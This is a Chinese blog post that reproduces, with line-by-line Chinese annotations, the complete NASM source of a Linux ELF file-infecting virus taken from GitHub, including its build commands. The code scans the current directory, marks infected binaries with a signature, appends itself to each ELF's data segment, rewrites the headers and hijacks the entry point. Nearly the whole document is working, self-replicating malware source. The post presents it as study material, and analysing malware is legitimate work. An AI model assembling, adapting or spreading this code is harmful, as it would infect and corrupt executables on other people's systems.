用汇编编写一个病毒
在github上看到大神用汇编编写的linux病毒,学习一下
github地址:https://github.com/cranklin/cranky-data-virus/blob/master/cranky_data_virus.asm
源码分析:
;; nasm -f elf -F dwarf -g cranky_data_virus.asm
;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o
section .text
global v_start
;代码开始处
v_start:
; virus body start
; make space in the stack for some uninitialized variables to avoid a .bss section
mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
;不断向栈上push 0,用作全局未初始化变量空间,依次push是4个字节loop_bss:
push 0x00 ; reserve 4 bytes (double word) of 0's
sub ecx, 1 ; decrement our counter by 1
cmp ecx, 0
jbe loop_bss ;将这块空间的地址赋值给edi
mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now.
call folder ;这是可以在栈上分配空间的方式,当call执行的时候,EIP被压栈,这个样ebx在pop之后就指向了栈中的".",也就是说下面的open打开的是“.”
db ".", 0
folder: ;目录就是“.”
pop ebx ; name of the folder
mov esi, 0 ; reset offset for targets
mov eax, 5 ; sys_open
mov ecx, 0
mov edx, 0
int 80h
;检查返回值,做错误处理
cmp eax, 0 ; check if fd in eax > 0 (ok)
jbe v_stop ; cannot open file. Exit virus
;遍历“.”
mov ebx, eax
mov eax, 0xdc ; sys_getdents64 ;将目录输出的地址设为前面分配的栈空间中,地址放在edi+32中
mov ecx, edi ; fake .bss section
add ecx, 32 ; offset for buffer
mov edx, 1024
int 80h
mov eax, 6 ; close
int 80h
xor ebx, ebx ; zero out ebx as we will use it as the buffer offset
;这里从结果缓冲区中寻找0008这两个字节,应该是linux_dirent64结构前面的type等信息有固定模式
find_filename_start:
; look for the sequence 0008 which occurs before the start of a filename ;这里的ebx应该是作为字符串长度的指针,用1024和ebx做比较,当大于1024的时候直接跳转到infect,这应该是缓冲区长度不超过1024
inc ebx
cmp ebx, 1024
jge infect ;edi+32就是存放目录遍历输出的地方,ebx就是向前的所索引,这里就是利用ebx不断向前读,直到找到0008这两个字符
cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer
jnz find_filename_start
inc ebx
cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer
jnz find_filename_start
;往缓冲区头部写入.和/,因为edi是内存区开始,edi+32才开始存放目录遍历的输出,这里是直接在edi处写入当前目录,ecx做位索引
xor ecx, ecx ; clear out ecx which will be our offset for file
mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename
inc ecx
mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename
inc ecx
;到这里。ebx作为索引,在sys_getdents的返回值中遍历字符串。ecx指向新建的字符串的末尾,两个都是共用一个缓冲区,新字符串从edi开始,而sys_getdents;是从edi+32的位置开始存放结果
find_filename_end:
; look for the 00 which denotes the end of a filename
inc ebx
cmp ebx, 1024
jge infect
;这里将esi指向原sys_getdents返回结果(ebx表示结尾处),edi指向新的文件名字符串(ecx表示结尾处),然后使用movsb复制内容
push esi ; save our target offset
mov esi, edi ; fake .bss
add esi, 32 ; offset for buffer
add esi, ebx ; set source
push edi ; save our fake .bss
add edi, ecx ; set destination to filename
movsb ; moved byte from buffer to filename
pop edi ; restore our fake .bss
pop esi ; restore our target offset
inc ecx ; increment offset stored in ecx
;复制文件名字符串直到末尾是‘\0’
cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename
jnz find_filename_end
;为新字符串的末尾增加一个‘\0’
mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer
;ebx表示原缓冲区的结尾处,入栈,当作第一个参数
push ebx ; save our offset in buffer
call scan_file
pop ebx ; restore our offset in buffer
;对下一个文件执行操作
jmp find_filename_start ; find next file
scan_file:
; check the file for infectability
mov eax, 5 ; sys_open ;edi指向的是新字符串的开头
mov ebx, edi ; path (offset to filename)
mov ecx, 0 ; O_RDONLY
int 80h
cmp eax, 0 ; check if fd in eax > 0 (ok)
jbe return ; cannot open file. Return
mov ebx, eax ; fd
mov eax, 3 ; sys_read
mov ecx, edi ; address struct ;这里的2080处写的是目标文件的内容
add ecx, 2080 ; offset to targetfile in fake .bss
mov edx, 12 ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature
int 80h
;scan_file到这就是打开文件,然后读取了12个字节,根据这个去判断可执行文件的格式
call elfheader ;这里的技巧和上面的一样了,先用call将eip指针入栈,此时eip指向下面的数,接着pop指令就可以将这个数的地址存放到ecx中
dd 0x464c457f ; 0x7f454c46 -> .ELF (but reversed for endianness)
elfheader:
pop ecx
mov ecx, dword [ecx]
cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword). edi+2080 is offset to targetfile in fake .bss
jnz close_file ; not an executable ELF binary. Return
;利用可执行文件头中的第8个字节往后的空余字段来标志该文件是否被感染
; check if infected
mov ecx, 0x001edd0e ; 0x0edd1e00 signature reversed for endianness
cmp dword [edi+2080+8], ecx ; signature should show up after the 8th byte. edi+2080 is offset to targetfile in fake .bss
jz close_file ; signature exists. Already infected. Close file.
save_target: ;在下面的movsb中,esi是文件名,这一步之前保存在内存区的头部,并且加上了'.'和'/',将目标字符串又保存到内存区1056处
; good target! save filename
push esi ; save our targets offset
push edi ; save our fake .bss
mov ecx, edi ; temporarily place filename offset in ecx
add edi, 1056 ; offset to targets in fake .bss
add edi, esi
mov esi, ecx ; filename -> edi -> ecx -> esi
mov ecx, 32
rep movsb ; save another target filename in targets
pop edi ; restore our fake .bss
pop esi ; restore our targets offset
add esi, 32
close_file:
mov eax, 6
int 80h
;这一步的return应该return到call scan_file处
return:
ret
infect:
; let's infect these targets!
cmp esi, 0
jbe v_stop ; there are no targets :( exit
sub esi, 32
mov eax, 5 ; sys_open
mov ebx, edi ; path ;前面看到已经将文件名写到了1056处
add ebx, 1056 ; offset to targets in fake .bss
add ebx, esi ; offset of next filename
mov ecx, 2 ; O_RDWR
int 80h
mov ebx, eax ; fd
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
;不断的读,直到返回0,这表示读到了结尾,这里整个文件都写到缓冲区2080处,也就是ecx指向的位置
reading_loop:
mov eax, 3 ; sys_read
mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized)
int 80h
cmp eax, 0 ; if this is 0, we've hit EOF
je reading_eof
mov eax, edi ;文件大小不能超过7232
add eax, 9312 ; 2080 + 7232
cmp ecx, eax ; if the file is over 7232 bytes, let's quit
jge infect
add ecx, 1
jmp reading_loop
;文件读取结束之后就跳转到这里了
reading_eof:;此时ecx应该指向的是读取文件的末尾,读取文件的内容应该在2080到ecx处,这里入栈保存下来
push ecx ; store address of last byte read. We'll need this later
mov eax, 6 ; close file
int 80h
;这里开始解析elf文件
xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+44] ; ehdr->phnum (number of program header entries) ;eax将指向程序头表的开头位置
mov eax, dword [edi+2080+28] ; ehdr->phoff (program header offset)
sub ax, word [edi+2080+42] ; subtract 32 (size of program header entry) to initialize loop
program_header_loop:
; loop through program headers and find the data segment (PT_LOAD, offset>0)
;0 p_type type of segment
;+4 p_offset offset in file where to start the segment at
;+8 p_vaddr his virtual address in memory
;+c p_addr physical address (if relevant, else equ to p_vaddr)
;+10 p_filesz size of datas read from offset
;+14 p_memsz size of the segment in memory
;+18 p_flags segment flags (rwx perms)
;+1c p_align alignement ;42处表示一个程序头表项的大小,此处将
add ax, word [edi+2080+42]
cmp ecx, 0 ;ecx中存放的是程序头表的带下,如果等于0,则说明已经遍历完了
jbe infect ; couldn't find data segment. let's close and look for next target
sub ecx, 1 ; decrement our counter by 1
;TYPE是PT_LOAD,则跳回前面,继续遍历下一个程序头
mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment)
cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ...
jne program_header_loop ; it's not PT_LOAD. look for next program header
;ebx指向段的起始地址
mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment
je program_header_loop ; it's the text segment. We're interested in the data segment
;下面关于每个偏移量都有注释
mov ebx, dword [edi+2080+24] ; old entry point
push ebx ; save the old entry point
mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk)
add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz
push ebx ; save the offset of our virus
mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory)
add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz
;这里写回一个魔数,表示这个elf文件已经被感染了
mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header)
mov [edi+2080+8], ecx
mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer) ;v_stop表示的是程序的末尾,v_start表示的是程序的开头,两者相减,最后再加上一个7字节的大小,表示整个程序的大小 ;因为在最后写入文件的时候还会写入7个字节的跳转指令,写在v_stop之后,所以这个大小的计算应该是这样
add edx, v_stop - v_start ; add size of our virus to phdr->filesz
add edx, 7 ; for the jmp to original entry point ;重写
mov [edi+2080+eax+16], edx ; overwrite the old phdr->filesz with the new one (in buffer)
mov ebx, dword [edi+2080+eax+20] ; phdr->memsz (size of segment in memory)
add ebx, v_stop - v_start ; add size of our virus to phdr->memsz
add ebx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+20], ebx ; overwrite the old phdr->memsz with the new one (in buffer)
xor ecx, ecx
xor eax, eax ;下面去遍历节区
mov cx, word [edi+2080+48] ; ehdr->shnum (number of section header entries)
mov eax, dword [edi+2080+32] ; ehdr->shoff (section header offset)
sub ax, word [edi+2080+46] ; subtract 40 (size of section header entry) to initialize loop
;下面的操作就是去遍历程序头表和节区表,更改里面的一些数据
section_header_loop:
; loop through section headers and find the .bss section (NOBITS)
;0 sh_name contains a pointer to the name string section giving the
;+4 sh_type give the section type [name of this section
;+8 sh_flags some other flags ...
;+c sh_addr virtual addr of the section while running
;+10 sh_offset offset of the section in the file
;+14 sh_size zara white phone numba
;+18 sh_link his use depends on the section type
;+1c sh_info depends on the section type
;+20 sh_addralign alignement
;+24 sh_entsize used when section contains fixed size entrys
add ax, word [edi+2080+46]
cmp ecx, 0
jbe finish_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection
sub ecx, 1 ; decrement our counter by 1
mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section)
cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section
jne section_header_loop ; it's not the .bss section
mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory)
add ebx, v_stop - v_start ; add size of our virus to shdr->addr
add ebx, 7 ; for the jmp to original entry point ;写回
mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer)
section_header_loop_2:
mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section)
add edx, v_stop - v_start ; add size of our virus to shdr->offset
add edx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer)
add eax, 40
sub ecx, 1
cmp ecx, 0
jg section_header_loop_2 ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping
finish_infection:
;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point)
;dword [edi+2080+28] ; ehdr->phoff (program header offset)
;dword [edi+2080+32] ; ehdr->shoff (section header offset)
;word [edi+2080+40] ; ehdr->ehsize (size of elf header)
;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry)
;word [edi+2080+44] ; ehdr->phnum (number of program header entries)
;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry)
;word [edi+2080+48] ; ehdr->shnum (number of program header entries)
mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point
add eax, 7 ; for the jmp to original entry point
mov ebx, dword [edi+2080+32] ; the original section header offset
add eax, ebx ; add the original section header offset
mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer)
;到这里关于原elf文件的更改就结束了,
mov eax, 5 ; sys_open
mov ebx, edi ; path
add ebx, 1056 ; offset to targets in fake .bss
add ebx, esi ; offset of next filename
mov ecx, 2 ; O_RDWR
int 80h
mov ebx, eax ; fd
mov eax, 4 ; sys_write
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss ;这里往前看一个push,可以知道在栈顶的是data段的结尾地址,也就是说这部分是寄生代码之前需要写入的数据大小
pop edx ; host file up to the offset where the virus resides
int 80h
mov [edi+7], edx ; place the offset of the virus in this unused section of the filename buffer
call delta_offset
delta_offset:
pop ebp ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files. This will be 0 in our original virus
sub ebp, delta_offset
;4号调用时write,写入病毒代码
mov eax, 4
lea ecx, [ebp + v_start] ; attach the virus portion (calculated with the delta offset)
mov edx, v_stop - v_start ; size of virus bytes
int 80h
;这里再向最后写入7个字节的代码,这7个字节可以跳转回原程序地址
pop edx ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename)
mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte)
mov [edi+1], edx ; original entry point (4 bytes)
mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes)
mov eax, 4
mov ecx, edi ; offset to filename in fake .bss
mov edx, 7 ; 7 bytes for the final jmp to the original entry point
int 80h
mov eax, 4 ; sys_write
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
mov edx, dword [edi+7] ; offset of the virus
add ecx, edx ; let's continue where we left off
pop edx ; offset of last byte in targetfile in fake.bss
sub edx, ecx ; length of bytes to write
int 80h
mov eax, 36 ; sys_sync
int 80h
mov eax, 6 ; close file
int 80h
jmp infect
v_stop:
; virus body stop (host program start)
mov eax, 1 ; sys_exit
mov ebx, 0 ; normal status
int 80h
来源:https://www.cnblogs.com/likaiming/p/11074495.html